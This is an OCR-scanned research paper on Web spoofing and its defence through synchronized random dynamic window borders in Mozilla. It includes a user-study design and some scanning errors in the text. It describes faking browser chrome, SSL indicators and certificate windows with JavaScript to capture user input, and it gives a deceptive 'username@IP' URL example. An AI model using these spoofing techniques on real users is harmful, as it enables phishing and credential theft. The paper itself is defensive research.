In their seminal work, Felten et al [10] introduced the term 
“Web spoofing” and showed how a malicious site could 
forge many of the browser user interface signals that hu- 
mans use to decide the server identity. Subsequent re- 
searchers [5] also explored this area. (In Section 2.2, we 
discuss our work in this space.) 

In related work on security issues of user interfaces, 
Tygar and Whitten examined both the spoofing potential 
of hostile Java applets [25] as well as the role of user inter- 
faces in the security of email cryptography systems [27]. 
Work in making cryptographic protocols more tenable to 
the human—including visual hashes [18] and personal en- 
tropy [9]—also fits into this space. 


The world of multi-level security [6] has also consid- 
ered issues of human-readable labels on information. The 
compartmented mode workstation (CMW) [19] 1s an OS 
that attempts to realize this security goal (and others) 
within a modern windowing system. However, a Web 
browser running on top of CMW 1s not a solution for Web 
spoofing. CMW labels files according to their security 
levels. Since the browser would run within one security 
level, all of its windows would have the same label. The 
users still could not distinguish the material from server 
and the material from the browser. 

Although CMW itself is not a solution for Web spoof- 
ing, the approach CMW used for labeling is a good start- 
ing point for further exploration—which we consider in 
Section 4.1. 


1.3. This Paper 


In this paper, we discuss our experience in designing, 
building, and evaluating trusted paths between the Web 
browser and the human users. 


Section 2 discusses the problem. Section 3 develops 
criteria for systematic, effective solutions. Section 4 dis- 
cusses some solution strategies we considered and the 
one we settled on, synchronized random dynamic (SRD) 
boundaries. Section 5 discusses how we implemented this 
solution and the status of our prototype. Section 6 dis- 
cusses how we validated our approaches with user studies. 
Section 7 offers some conclusions, and discusses avenues 
for future work. 
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2 Web Spoofing 
2.1 


To make an effiective trust judgment about a server, per- 
haps the first thing a user might want to know ts the iden- 
tity of the server. Can the human accurately determine the 
identity of the server with which their browser 1s interact- 
ing? 

On a basic level, a malicious server can offer realistic 
content from a URL that disguises the server’s identity. 
Such impersonation attacks occur tn the wild: 


Overview 


e by offering spoofed material via a URL in which the 
spoofer’s hostname is replaced with an IP address 
(the Hoke case [15, 20] 1s a good example) 


e by typejacking—e.g., registering a hostname decep- 
tively similar to a real hostname, offering malicious 
content there, and tricking users into connecting (the 
“PayPal” case [24] 1s a good example) 


Furthermore, as is often pointed out [2], RFC 1738 
permits the hostname portion of a URL to begin with 
a username and password. Hoke [20] could have 
made his spoof of a Bloomberg press release even 
more effective by prepending his IP-hostname with a 
“bloomberg.com” username. Most Web browsers (includ- 
ing the IE and Netscape families, but not Opera) would 
successfully parse URL http://www. bloomberg. 
com@1234567/ and fetch a page from the server 
whose IP address, expressed as a decimal numeral, was 
1234567. 

However, we expected that many Web users might use 
more sophisticated identification techniques that would 
expose these attacks. Users might examine the location 
bar for the precise URL they are expecting; or examine 
the SSL icon and warning windows to determine if an au- 
thenticated SSL session is taking place; or even make fill 
use of the server PKI by examining the server’s certificate 
and validation infonnation. Can a malicious server fool 
even these users? 


2.2 Our Initial Study 


Felten et al [10] showed that, in 1996, a malicious site 
could forge many of the browser’s UI signals that hu- 
mans use to decide server identity, except the SSL lock 
icon for an SSL session. Instead, Felten et al used a real 
SSL session from the attacker server to trick the user-— 
which might expose the adversary to issues in obtaining 
an appropriate certificate, and might expose the hoax, de- 
pending on how the browser handles certificate validation. 
Since subsequent researchers [5] reported difficulty repro- 
ducing this work and since Web techniques and browser 
user interface implementation have evolved a lot since 
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1996, we began our work by examining [29] whether and 
to what degree Web spoofing was still possible, with cur- 
rent technology. 

Our experiment was more successful than we expected. 
To summarize our experiment, for Netscape 4 on Linux 
and Internet Explorer 5.5 on Windows 98, using unsigned 
JavaScript and DHTML: 


e We can produce an entry link that, by mouse-over, 
appears to go to an arbitrary site S. 


e Ifthe user clicks on this link, and either his browser 
has JavaScript disabled or he is using a browser/OS 
combination that we do not support, then he really 
will go to site S. 


e Otherwise, the user’s browser opens a new win- 
dow that appears to be a functional browser window 
which contains the content from site S. Buttons, 
bars, location information, and most browser ftnc- 
tionality can be made to appear correctly in this win- 
dow. However, the user 1s not visiting site 5 at all; 
he is visiting ours. The whole window 1s a Web page 
delivered by our site. 


e Furthermore, if the user clicks on a “secure” link 
from this window, we can make convincing SSL 
warning window appear and then displays the SSL 
lock icon and the expected https URL. Should 
the user click on the buttons for security informa- 
tion, he or she will see the expected SSL certificate 
information---except no SSL connection exists, and 
all the sensitive information that the user enters Is 
being sent in plain text to us. 


A demonstration Js available at our Web site. 


2.3 Overview of Techniques 


When we describe our spoofing work, listeners sometimes 
counter with the objection that it is impossible for the re- 
mote server to cause the browser to display a certain type 
of signal. The crux of our spoofing work rests in the fact 
that this objection 1s not a contradiction. For this project, 
we assumed that the browser has a set of proper signals 
it displays as a function of server properties. Rather than 
trying to cause the browser to break these rules, we simply 
usetherich graphical space the Web paradigm provides to 
generate harmless graphical content that, to the user, looks 
just like these signals. 

In our initial attempts at spoofing, we tried to add our 
own graphical material over official browser signals such 
as the location bar and the SSL lock icon. This was not 
successful. We then tried opening a new window with 
some of these elements turned off, and that did not work 
either. Finally, we tried opening a new window with a// 


of the elements disabled----and that worked. We then went 
through a careful process of filling this window with ma- 
terial that looked just like the official browscr elements, 
and correlating this display with the expected display for 
the session being spoofed. 


This work was characterized by the pattern of trying 
to achieve some particular effect, finding that the obvi- 
ous techniques did not work, but then finding that the 
paradigm provided some alternate techniques that were 
just as effective. For one example, whenever it seemed 
difficult to pop up a window with a certain property, we 
could achieve the same effect by displaying an image of 
such a window, and using pre-caching to get these images 
to the user’s machine before they're needed. 


This pattern made us cautious about the effectiveness of 
simplistic defenses that eliminate some channel of graph- 
ical display. 

For each client platform we targeted, we carefully ex- 
amined how to provide server content that, when ren- 
dered, would appear to be the expected window element. 
Since the user’s browser kindly tells the server its OS and 
browser family to which it belongs, we can customize the 
response appropriatcly. 


Our prior technical report [29] contains full technical 
details. 


2.4 Other Factors 


However, our goal was enabling users to make effective 
trust judgments about Web content and interaction. The 
above spoofing techniques focused on server identity. As 
some researchers [7] observe, identity 1s just one compo- 
nent for such a judgment---usually not a sufficient com- 
ponent, and perhaps not even a necessary component. 


Arguably, issues including delegation, attributes, more 
complex path validation, and properties of the page source 
should all play a role in user trust judgment; arguably, a 
browser that enables effective trust judgments should han- 
dle these issues and display the appropriate material. The 
existence of password-protected personal certificate and 
key pair stores 1n current browsers 1s one example of this 
extended trust interface; Bugnosis [1] 1s an entertaining 
example of some potential future directions. 


The issue of how the human can correctly identify the 
trust-relevant user interface elements of the browser will 
only become more critical as this set of elements in- 
creases. Spoofing can attack not just perceived server 
identity, but ay element of the current and future browser 
interfaces. 


In Section 7.2, we revisit some of these issues. 
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3. Towards a Solution 


Previous work, including our own, suggested some sim- 
plistic solutions. To address this fundamental trust prob- 
lem in this broadly-deployed and service-critical PKI, we 
need to design a more effective solution---and to see that 
this solution 1s implemented in usable technology. 


3.1 


We will start with a slightly simplified model. 

The browser displays graphical elements to the user. 
When a user requests a page P from a server A, the user’s 
browser displays both the content of P? as well as status 
information about /?, A, and the channel over which P? 
was obtained. (For simplicity, we’re ignoring things like 
the fact that multiple servers may be involved.) 

We can think of the browser as executing two functions 
from this input space of Web page content and context: 


Basic Framework 


e displaying sets of graphical elements in this window 
and others as content from the server 


e displaying sets of graphical elements in this window 
and others as status about this server content. 


Web spoofing attacks can work because no clear differ- 
ence exists between the graphical elements of status and 
the graphical elements of content. There exist pages 
P,,P from servers A, B (respectively) such that the 
overlap between content(P,) and status( Pg, B) is sub- 
stantial. Such overlap permits a malicious server to 
craft content whose display tricks users into believing the 
browser is reporting status. 

To make things even harder, what matters is not the ac- 
tual display of the graphical elements, but the display as 
processed by human perception. As long as the human 
perception of status and content have overlap, then spoof- 
ing 1s possible. 

(Building a more formal and complete model of this 
problem is an area for future work.) 


3.2 Trusted Path 


From the above analysis, we can see the key to systemati- 
cally stopping Web spoofing would be twofold: 


e to clearly distinguish the ranges of the content and 
status functions, even when filtered by human per- 
ception, so that malicious collisions are not possible 


e to make it impossible for status to have empty out- 
put, even when filtered by human perception, so 
that users can always recognize a server’s attempt to 
forge status information. 
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In some sense, this is the classic trusted path problem. 
The browser software becomes a Trusted Computer Base 
(TCB); and we need to establish a trusted path between 
users and the status component, that can not be imperson- 
ated by content component. 


3.3. Design Criteria 


We consider some criteria a solution should satisfy. 
First, the solution should work: 


e Inclusiveness. We need to ensure that users can 
correctly recognize as large a subset of the status 
data as possible. Browsing 1s a rich experience; 
many parameters play into user trust judgment and, 
as Section 7.2 discusses, the current parameters may 
not even be sufficient. A piecemeal solution will be 
insufficient; we need a trusted path for as much of 
this data as possible. 


e Effectiveness. We need to ensure that the status 
information Is provided in a way that the user can ef- 
fectively recognize and utilize. For one example, the 
information delivered by images may be more effec- 
tive for human users than information delivered by 
text. For another example, if the status information is 
separated (in time or in space) from the correspond- 
ing content, then the user may already have made a 
trust judgment about the content before even perceiv- 
ing the status data. 


Secondly, the solution should be low-impact: 


e Minimizing user work. A solution should not re- 
quire the user to participate too much. This con- 
straint eliminates the naive cryptographic approach 
of having the browser digitally sign each status com- 
ponent, to authenticate it and bind it to the con- 
tent. This constraint also eltminates the approach 
that users set up customized, unguessable browser 
themes. To do so, the users would need to know what 
themes are, and to configure the browser for a new 
one instead of just taking the default one. 


e Minimizing intrusiveness. The paradigm for 
Web browsing and interaction 1s fairly well estab- 
lished, and exploited by a large legacy body of sites 
and expertise. A trusted path solution should not 
break the wholeness of the browsing experience. We 
must minimize our intrusion on the content com- 
ponent: on how documents from servers and the 
browser are displayed. This constraint eliminates the 
simplistic solution of turning off Java and JavaScript. 
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4 Solution Strategies 


Having established the problem and criteria for consider- 
ing solutions, we now proceed to examine potential strate- 
gies. Section4.1 presents some approaches we considered 
but rejected; Section 4.2 presents the strategy we chose 
for our implementation. Table | summarizes how these 
strategies measure according to the above criteria. 


4.1 Considered Approaches 


No turn-off. As discussed above, one way to defend 
against Web spoofing 1s make it impossible for status to 
be empty. One possible approach 1s to prevent elements 
such as the location and status bars from being turned off 
in any window. However, this approach would overly 
constrict the display of server pages (many sites depend 
on pop-ups with server-controlled content) and still does 
not covera broad enough range of browser-user channels. 
Furthermore, the attacker can still use images to spoof 
pop-up windows of his own choosing. 


Customized content. Another set of approaches 
consists of trying to clearly label the status material. One 
strategy here would draw from Tygar and Whitten [25] 
and use user-customized backgrounds on status windows. 
This approach has a potential disadvantage of being too 
intrusive on the browser’s display of server content. 

A'less intrusive version would have the user enter an ar- 
bitrary “MAC phrase” at the start-up time of the browser. 
The browser could then insert this MAC phrase into each 
status element (e.g., the certificate window, SSL warning 
boxes, etc.) to authenticate it. However, this approach, 
being text-based, had too strong a danger of being over- 
looked by the user. 

Overall, we decided against this whole family of ap- 
proaches, because we felt that requiring the user to par- 
ticipate in the customization would violate the “minimal 
user work” constraint. 


Meta-data titles. We considered having some meta- 
data, such as page URL, displayed on the window t- 
tle. Since the browser sends the title information to the 
machine window system, the browser can enforce that 
the true URL always ts displayed on the window title. 
However, we did not really believe that users would pay 
attention to this title bar text; furthermore, a malicious 
server could still spoof such a window by offering an im- 
age of one within the regular content. 


Meta-data windows. We considered having the 
browser create and always keep open an extra window just 


for meta-data. The browser could label this window to au- 
thenticate it, and then use it to display information such as 
URL, server certificate, etc. 

Initially, we felt that this approach would not be effic- 
tive, since separating the data from the content window 
would make it too easy for users to ignore the meta-data. 
Furthermore, this approach would require a way to corre- 
late the displayed meta-data with the browser element in 
question. If the user appears to have two server windows 
and a local certificate window open, he or she needs to 
figure out to which window the meta-data 1s referring. 

As we will discuss shortly, CMW uses a meta-data win- 
dow and a side-effect of Mozilla code structure forced us 
to introduce one into our design. 


Boundaries. In an attempt to fix the window title 
scheme, we decided to use thick color instead of tiny 
text. Windows containing pure status information from 
the browser would have a thick border with a color that in- 
dicated trusted; windows containing at least some server- 
provided content would have a thick border with an- 
other color that indicated untrusted. Because its con- 
tent would always be rendered within an untrusted win- 
dow, a malicious server would not be able to spoof sta- 
tus information-—or so we thought. Unfortunately, this 
approach suffers from the same vulnerability as above: 
a malicious server could still offer an image of a nested 
trusted window. 


CMW-Style Approach. CMW brought the boundary 
and meta-data window approaches together. 

We noted earlier that CMW itself will not solve the 
spoofing problem. However, CMW needs to defend 
against a similar spoofing problem: how to ensure that 
a program cannot subvert the security labeling rules by 
Opening an image that appears to be a nested window of 
a different security level. To address this problem, CMW 
adds a separate meta-data window at the bottom of the 
screen, puts color-coded boundaries on the windows and 
a color (not text) in the meta-data window, and solves the 
correlation problem by having the color in the meta-data 
window change according to the security level of the win- 
dow currently in focus. 

The CMW approach inspired us to try merging the 
boundary and meta-data window scheme: we keep a sep- 
arate window always open, and this window displays the 
color matching the security level of the window currently 
in focus. If the user focuses on a spoofed window, the 
meta-data window color would not be consistent with the 
apparent window boundary color. 

We were concerned about how this CMW-style ap- 
proach would separate (in time and space) the window 
status component from the content component. This sepa- 
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ration would appear to fail the effectiveness and user-work 
criteria: 


e The security level information appears later, and ina 
different part of the screen. 


e The user must explicitly click on the window to get 
it to focus, and ¢/ien confirm the status information. 


What users are reputed to do when “certificate expiration” 
warnings pop up suggests that by the time a user clicks, 
it’s too late. 

Because of these drawbacks, we decided against this 
approach. Our user study of a CMW-style simulation 
(Section 6) supported these concerns. 


4.2 Prototyped Approach 


We liked the colored boundary approach, since colors are 
more effective than text, and coloring boundaries accord- 
ing to trust level easily binds the boundary to the con- 
tent. The user cannot perceive the one without the other. 
Furthermore, each browser element—-including password 
windows and other future elements ---can be marked, and 
the user need not wonder which label matches which win- 
dow. 

However, the colored boundary approach had a sub- 
stantial disadvantage: unless the user customizes the col- 
ors in each session or actively interrogates the window 
(which would violate the “minimize work” criteria), the 
adversary can still create spoofs of nested windows of ar- 
bitrary security level. 

This situation left us with a conundrum: the browser 
needs to mark trusted status content, but any deterministic 
approach to marking trusted content would be vulnerable 
to this image spoof. So, we need an automatic marking 
scheme that servers could not predict, but would still be 
easy and non-intrusive for users to verify. 


initial Vision. What we settled on was synchronized 
random dynamic (SRD) boundaries. In addition to hav- 
ing trusted and untrusted colors, the thick window borders 
would have two styles (e.g., inset and outset, as shown in 
Figure 1). Atrandom intervals, the browser would change 
the styles on all its windows. Figure 2 sketches this over- 
all architecture. 
The SRD solution would satisfy the design criteria: 


e Inclusiveness. All windows would be unambigu- 
ously labeled as to whether they contained status or 
content data. 


e Effectiveness. Like static colored boundaries, the 
SRD approach shows an easy-to-recognize security 
label at the same time as the content. Since a mali- 
cious server cannot predict the randomness, it cannot 





Outset 


Inset 


Figure 1 /nset and outset border styles. 


provide spoofed status that meets the synchroniza- 
tion. 


e Minimizing user work. To authenticate a window, 
all a user would need to do is observe whether its bor- 
der is changing in synchronization with the others. 


e Minimizing intrusiveness. By changing the win- 
dow boundary but not internals, the server content, 
as displayed, is largely unaffected. 


In the SRD boundary approach, we do not try to focus 
so much on communicating status information as on dis- 
tinguishing browser-provided status from server-provided 
content. The SRD boundary approach tries to build a 
trusted path that the status information presented by the 
browser can be correctly and effectively understood by 
the human user. In theory, this approach should continue 
to work as new fonns of status information emerge. 


Reality Intervenes. As one might expect, the reality 
of prototyping our solution required modifying this initial 
vision. 

We prototyped the SRD-boundary solution using 
Mozilla open source on Linux. We noticed that when 
our build of Mozilla pops up certain warning windows, 
all other browser threads are blocked. As a consequence, 
all other windows stop responding and become inactive. 
This 1s because some modules are sing/eton services 1n 
Mozilla (that is, services that one global object provides 
to all threads in Mozilla). When one thread accesses such 
a service, all other threads are blocked. The Enter-SSL 
warning window uses the nsPrompt service which is one 
of the singleton services. 

When the threads block, the SRD borders on all win- 
dows but the active one freeze. This freezing may gener- 
ate security holes. A server might raise an image with 
a spoofed SRD boundary, whose Jack of synchroniza- 
tion is not noticeable because the server also submitted 
some time-consuming content that slows down the main 
browser window so much that the it appears frozen. Such 
windows greatly complicate the semantics of how the user 
decides whether to trust a window. 
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To address this weakness, we needed to re-introduce 
a meta-data reference window, opened at browser start- 
up with code independent of the primary browser threads. 
This window its always active, and contains a flashy col- 
ored pattern that changes 1n synchronization with the mas- 
ter random bit—and the boundaries. If a boundary does 
not change in synchronization with the reference window, 
then the boundary is forged and its color should not be 
trusted. 

Our reference window is like the CMW-style win- 
dow in that uses non-textual material to indicate security. 
However, ours differs in that it uses dynamic behavior to 
authenticate boundaries, 1t requires no explicit user action, 
and it automatically correlates to all the unblocked on- 
screen content. 

Reality also introduced other semantic wnnkles, as dis- 
cussed in Section 5.7.2. 


2 


Implementation took several steps. First, we needed to 
add thicker colored boundaries to all windows. Second, 
the boundaries needed to dynamically change. Third, 
the changes needed to happen in a synchronized fashion. 
Finally, as noted, we needed to work around the fact that 
Mozilla sometimes blocks browser window threads. 

In Section 5.2 through Section 5.5 below, we discuss 
these steps. Section 5.7 discusses the current status of our 
prototype. 

Figure 4 shows the overall structure. 


Implementation 


5.1 


In order to implement our trusted path solution, we need 
a browser as its base. We looked at open source browsers, 
and found two good candidates, Mozilla and Konqueror. 
Mozilla is the “twin” of Netscape 6, and Konqueror is part 
of KDE desktop 2.0. We also considered Galeon, which 1s 
an open source Web browser using the same layout engine 
as Mozilla. However, when we started our experiment, 
Galeon was not robust enough, so we chose Mozilla in- 
stead of Galeon. 

We chose Mozilla over Konqueror for three primary 
reasons. First, Konqueror is not only a Web browser, 
but also the file manager for KDE desktop, which make 
it might be unnecessarily complicated for our purposes. 
Secondly, Mozilla is closely related to Netscape, which 
has a big market share on current desktops. Third, 
Konqueror only run on Linux; Mozilla is able to adapt 
to several platforms. 

Additionally, although both of browsers are well doc- 
umented, we felt that Mozilla’s documentation was 
stronger. 


Starting Point 


5.2 Adding Colored Boundaries 


The first step of our prototype was to add special bound- 
aries to all browser windows. To do this, we needed to 
understand why browser windows look the way they do. 

Mozilla has a configurable and downloadable user 1n- 
terface, called a chrome. The presence and arrangement 
of different elements tn a window is not hardwired into 
the application, but rather is loaded from a separate user 
interface description, the XUL files. XUL is an XML- 
based user interface language that defines the Mozilla user 
interface. Each XUL element is present as an object in 
Mozilla’s document object module (DOM). 

Mozilla uses Cascading Style Sheets (CSS) to describe 
what each XUL clement should look like. Collectively, 
this set of sheets is called a skin. Mozilla has customizable 
skins. Changing the CSS files changes the look-and-feel 
of the browser. (Figure 3 sketches this structure.) 

The original Mozilla only has one type of window with- 
out any boundary. We added an orange boundary into the 
original window skin to mark the trusted windows con- 
taining material exclusively from the browser. Then we 
defined a new type of window, external window, with a 
blue boundary. We added the external window skin into 
the global skin file, and changed the navigator window to 
invoke an external window instead. 

As a result, all the window elements in XUL files will 
have thick orange boundaries, and all the external win- 
dows would have thick blue boundaries. Both the pri- 
mary browsing windows as well as the windows opened 
by server content would be external windows with blue 
boundaries. 

(The new chrome feature introduces some wrinkles; 
see Section 5.7.2.) 


5.3 Making the Boundaries Dynamic 


We next need to make the boundaries change dynamically. 
In the Mozilla browser, window objects can have at- 
tributes. These attributes can be set or removed. When 
the attribute is set, the window can be displayed with dif- 
ferent style. 
To make window boundaries dynamic, we added a bor- 
derStyle attribute to the window. 


externalwindow [borderStyle="true"] 


{ border-style: outset !important; } 


When borderStyle is set, the boundary style 1s outset; 
when borderStyle is removed, the boundary style is inset. 
Mozilla observes the changes in attributes and updates the 
displayed borderStyle accordingly. 

With a reference to a window object, browser-internal 
JavaScript code can automatically set the attribute and re- 
move the attribute associated with that window. We get 
this reference with the method: 


ee eee 
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Figure 2 The architecture of our SRD approach. 
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Figure 3 The layout engine uses XUL and CSS files to generate the browser user interface. 
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document .getElementBylId ("windowID") 


When browser-internal JavaScript code changes the 
window’s attribute, the browser observer interface notices 
the change and schedules a browser event. The event ts 
executed, and the browser repaints the boundary with dif- 
ferent style. 

Each XUL file links to JavaScript files that specify what 
should happen in that window with each of the events 
in the browsing experience. We placed the attribute- 
changing JavaScript into a separate JavaScript file and 
linked it into each corresponding XUL file. 

With the 


setInterval ("function name'", 
intervalTime) 


method, a JavaScript function can be called automatically 
at regular time intervals. We let our function be called ev- 
ery 0.5 second, to check a random value 0 or |. If the ran- 
dom value is 0, we set window’s borderStyle attribute to 
be true; else remove this attribute. The window’s onload 
event calls this set/nterval method to start this polling. 


<window id="example-window" 
onload="SsSetiInterval (..)°'> 


If the window element does not have an ID associ- 
ated with it, we necd to give it one tn order to make the 
JavaScript code work. The JavaScript files need to include 
into corresponding /ar:mn file in order to be packed into 
the same jar as the XUL file. 


9.4 Adding Synchronization 


All the browser-internal JavaScript files need to look at 
the same random number, in order to make all win- 
dows change synchronously. Since we could not get the 
JavaScript files in Mozilla source to communicate with 
each other, we used an X¥PCOM module to have them 
communicate to a single C++ object that directed the ran- 
domness. 

XPCOM (the Cross Platform Component Object 
Model) is a framework for writing cross-platform, mod- 
ular software. As an application, XPCOM uses a set of 
core XPCOM libraries to selectively load and manipulate 
XPCOM components. XPCOM components can be writ- 
ten in C, C++, and JavaScript, and are the basic element 
of Mozilla structure. 

JavaScript can directly communicate to a C++ module 
through XPConnect. XPConnect is a technology which 
allows JavaScript objects transparently access and manip- 
ulate XPCOM objccts. It also enables JavaScript objects 
to present XPCOM-compliant interfaces to be called by 
XPCOM objects. 

We maintained a singleton XPCOM module in Mozilla 
which tracks the current “random bit.” We defined a 


borderStyle interface in XPIDL (Cross Platfornt Interface 
Description Language), which only has a read-only string, 
which means the string only can be read by JavaScript, 
but can not be set by JavaScript. The XPIDL com- 
piler transforms this IDL into a header file and a ftype- 
lib file. The ns/BorderStyle interface has a public func- 
tion, GetValue, which can be called by Mozilla JavaScript 
through XPConnect. The nsBorderStyle/mp class imple- 
ments the interface, and also has two private functions, 
generateRandom and setValue. When a JavaScript call 
accesses the borderStyle module through GetVa/ue, the 
module uses these private functions to update the current 
bit (from /dev/random) if it is sufficiently stale. The 
module then returns the current bit to the JavaScript. 


9.9 Addressing Blocking 


As noted earlier, Mozilla had scenarios where one win- 
dow, such as the enter-SSL warning window, can block 
the others. Rather than trying to rewrite the Mozilla 
thread structure, we let the borderStyle module fork a 
new process, which uses the GTK+ toolkit create a refer- 
ence window. When a new random number ts generated, 
the borderStyle module passes the new random number 
through the pipe to the reference process. The reference 
window changes its image according to the random nwn- 
ber to indicate the border style. 

The idea in the GTK+ program ts creating a window 
with a viewport. A viewport is a widget which contains 
two adjustment widgets. Changing the scale of these two 
adjustments enable to allow the user only see part of the 
window. The viewport also contains a table which con- 
tains two images: one image stands for inset style, the 
other stands for outset. When random number is 1, we set 
the adjustment scale to show the inset image; otherwise 
we show the outset image. 


9.6 Why This Works 


This SRD approach works because: 


e Server material has to be displayed in a window 
opened by the browser. 


e When it opens a window, the browser gets to choose 
which type of window to use. 


e Only the browser gets to see the random numbers 
controlling whether the border is currently inset or 
outset. 


e Server content, such as malicious JavaScript, can- 
not otherwise perceive the inset/outset attiibute of its 
parent window. 


(Section 5.7.2 below discusses some known Issues.) 
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Figure 4 This diagram shows the overall structure of our implementation of SRD in Mozilla. The Mozilla 
layout engine takes XUL files as input, and construct a DOM tree. The root of the tree is the window ob- 
Ject. For each window object, JavaScript reads the random number from borderStyle module, and sets or 
removes the window object attribute. The layout engine present the window object differently according to 
the attribute. The different appearances are defined in CSS files. 
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We elaborate on the last point above. The DOM is a 
tree-like structure to represent the document. Each XML 
element or HTML element ts represented as a node tn 
this tree. The DOM tree enables traversal of this hierar- 
chy of elements. Each element node has DOM interfaces, 
which can be used by JavaScript to manipulate the ele- 
ment. For example, element.stvle lets JavaScript access 
the style property of the element object. JavaScript can 
change this property, and therefore change the element ap- 
pearance. 

When the Mozilla layout engine Gecko reads XUL 
files and renders browser user interface, it treats the win- 
dow object as a regular XUL element, one DOM node in 
the DOM tree. Therefore, at the point, browser-internal 
JavaScript can set or remove attributes in the window ob- 
ject. However, from the point of view of server-provided 
JavaScript, this window object is not a regular DOM ele- 
ment, but is rather the root object of the whole DOM tree. 

This root object has a child node, document. Under this 
document object, the server content DOM tree starts to 
grow. The root window does not provide the window.style 
interface. {it also does not support any attribute func- 
tions [11]. Therefore, even though server-side JavaScript 
can get a reference of the window object, and call tunc- 
tions like window.open, it can not read or manipulate the 
window border style to compromise SRD boundaries. Our 
experimental tests also proved this statement. 


5.7 Prototype Status 


We have implemented SRD for the main navigator ele- 
ments tn modern skin Mozilla (currently Mozilla-0.9.2.1) 
for Linux. Furthermore, we have prepared scripts to in- 
stall and undo these changes in the Mozilla source tree; 
to reproduce our work, one would need to download the 
Mozilla source, run our script, then build. 

These scripts are available on our Web site. 


5.7.1. Inner SRD vs Outer SRD 


In the current browsing paradigm, some otherwise un- 
trusted windows, such as the main surfing window, con- 
tain trusted elements, such as Menu Bar, etc. As far as we 
could tell in our spoofing work, untrusted material could 
not overlay or replace these trusted elements, if they are 
present in the window. 

The SRD approach thus leads to a design question: 


e Should we just mark the outside boundaries of win- 
dows? 


e Or should we also install SRD boundaries on indi- 
vidual elements, or at least on trusted ones? 


We use the terms outer SRD and inner SRD respectively 
to denote these two approaches. 


LOO — 


Inner SRD raises some additional questions that may 
take it further away from the design criteria. For one 
thing, having changing, colored boundaries within the 
window arguably weakens satisfaction of the minimal in- 
trusiveness constraint. For another thing, what about el- 
ements within a trusted window? Should we announce 
that any element in a region contained in a trusted SRD 
boundary is therefore trusted? Or would introducing such 
anomalies (e.g., whether a bar needs a trusted SRD bound- 
ary to be trustable depends on the boundary of its window) 
needlessly and perhaps dangerously complicate the user’s 
participation? 

For now, we have stayed with outer-SRD. Animated 
GIFs giving the look-and-feel of browsers enhanced with 
outer-SRD and tnner-SRD are available on our Web site. 


5.7.2 Known Issues 


Our current prototype has several areas that require further 
work. We present them in order of decreasing importance. 


Alert Windows. The only significant bug we currently 
know about pertains to alert windows. In the current 
Mozilla structure, alert windows, confirm windows and 
prompt windows are all handled by the same code, re- 
gardless of whether the server page content or the browser 
invokes them. In our current implementation, the win- 
dow boundary color ts decided once, as “trusted”. We are 
currently working with Netscape developers to determine 
how to have this code determine the nature of its caller 
and establish boundary color accordingly. 


Signed JavaScript. Signed JavaScript from the 
server can ask for privileges to use XPConnect. The user 
can then choose to grant this privilege or not. If the user 
grants the privilege, then the signed JavaScript can access 
the borderStyle module and read the random bit. 

To exploit this, an attacker would have to open an 
empty window (see below) or simulate one with images, 
and then change the apparent boundary according to the 
bit. For now, the user can defend against this attack by not 
granting such privileges; however, a better long-term so- 
lution ts simply to disable the ability of signed JavaScript 
to request this privilege. 


Chrome feature. Mozilla added a new feature chrome 
to the window.open method. If aserver uses the JavaScript 


window. open("test.html", 


"window-title", "chrome") 


then Mozilla will open an empty window without any 
boundary. The chrome feature Icts the server eliminate 
the browser default chrome and thus take control of the 


SS 
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whole window appearance. [lowever, this new window 
will not be able to synchronize itself with the reference 
window and the other windows. Furthermore, this new 
window cannot respond to the right mouse click and other 
reserved keystrokes, like A/t+C for copy under Linux. It is 
a known bug [4] that this new window cannot bring back 
the menu bar and the other bars, and it cannot print pages. 

So far, the chromeless window is not a threat to SRD 
boundaries. However, Mozilla is living code. The Mozilla 
developers work hard to improve its functionality; and the 
behavior of the chrome feature may evolve in the future in 
ways that are bad for our purposes. So, we plan either to 
disable this feature, or to install SRD boundaries even on 
chromeless windows. 


Pseudo-synchronization. Another consequence of 
real implementation was imprecise synchronization. 
Within the code base for our prototype, it was not feasible 
to coordinate all the SRD boundaries to change at pre- 
cisely the same real-time instant. Instead, the changes all 
happen within an approximately |-second interval. This 
imprecision is because only one thread can access the 
XPCOM module; all other threads are blocked until it re- 
turns. Since the JavaScript calls access the random value 
sequentially, the boundaries change sequentially as well. 

However, we actually feel this increases the usability: 
the staggered changes make It easier for the user to per- 
ceive that changes are occurring. 


6 Usability 


The existence of a trusted path from browser to user does 
not guarantee that users will understand what this path 
tells them. In order to evaluate the usability of SRD 
boundary, we carried out user studies. 

Because our goal ts to effectively defend against Web 
spoofing, our group plans future tests that are not limited 
to the SRD boundary approach, but would cover the gen- 
eral process of how humans make trust judgments, in or- 
der to provide more information on how to design a better 
way to communicate security-related information. 


6.1 Test Design 


The design of the SRD boundary includes two parame- 
ters: the boundary color and the synchronization. They 
express different information. 


e The boundary color indicates where the material 
comes from. 


e The synchronization indicates whether the user can 
trust the information expressed by the boundary 
color scheme. 
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In our tests, we change the two parameters in order to 
determine whether the user can understand the infonna- 
tion each parameter tries to express. We vary the bound- 
ary color over: 


e trusted (orange) 
e untrusted (blue) 
We vary the synchronization parameter over: 
e static (window boundary does not change) 


e asynchronous (window boundary changes, but not in 
a synchronized way) 


e synchronized 


According to our semantics, a trustable status window 
Should have two signals: a trusted boundary color, and 
synchronized changes. Eliminating the cases where the 
user receives neither of these signals, we have four ses- 
sions in each test: a static trusted boundary; a synchro- 
nized trusted boundary; a synchronized untrusted bound- 
ary; and an asynchronous trusted boundary. 

We also simulated the CMW-style approach and exain- 
ined its usability as well. In particular, the the CMW-style 
approach Is less distracting than SRD boundary, because 
most of the labels are static. This reduces intrusiveness— 
but less distracting may also mean winning less attention. 

We then ran three tests. 


e In the first test, we turned off the reference window, 
and used only the SRD boundary in the main surfing 
window as a synchronization reference. We popped 
up the browser’s certificate window with different 
boundaries, in four sessions. 


e In the second test, we examined the full SRD ap- 
proach, and left the reference window on, as a syn- 
chronization reference. We popped up the certificate 
window four different ways, just as in the first test. 
We wanted to see whether using reference window is 
helpful for providing extra security-related informa- 
tion, or whether it 1s needlessly redundant. 


e In the third test, we simulated the CMW-style ap- 
proach. Boundaries were static; however, a refer- 
ence window always indicated the boundary color of 
the window to which the mouse points. In this case, 
the status information provided by the reference win- 
dow arrives at the same time when the user move the 
mouse into the window. 


In the conventional CMW approach, the mouse has 
to be clicked on the window to get it focus at first. In 
our test, we used mouse-over, which gets the infor- 
mation to the user sooner. (In the future, we hope to 
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design more user studies to obtain additional data on 
how the time when status information arrives effect 
users’ judgment during browsing.) 


Before starting the tests, we gave the users a brief 1n- 
troduction about the SRD boundary approach. The users 
understood there were two parameters they needed to ob- 
serve. The users also viewed the original Mozilla user 
interface, in order to become familiar with the buttons 
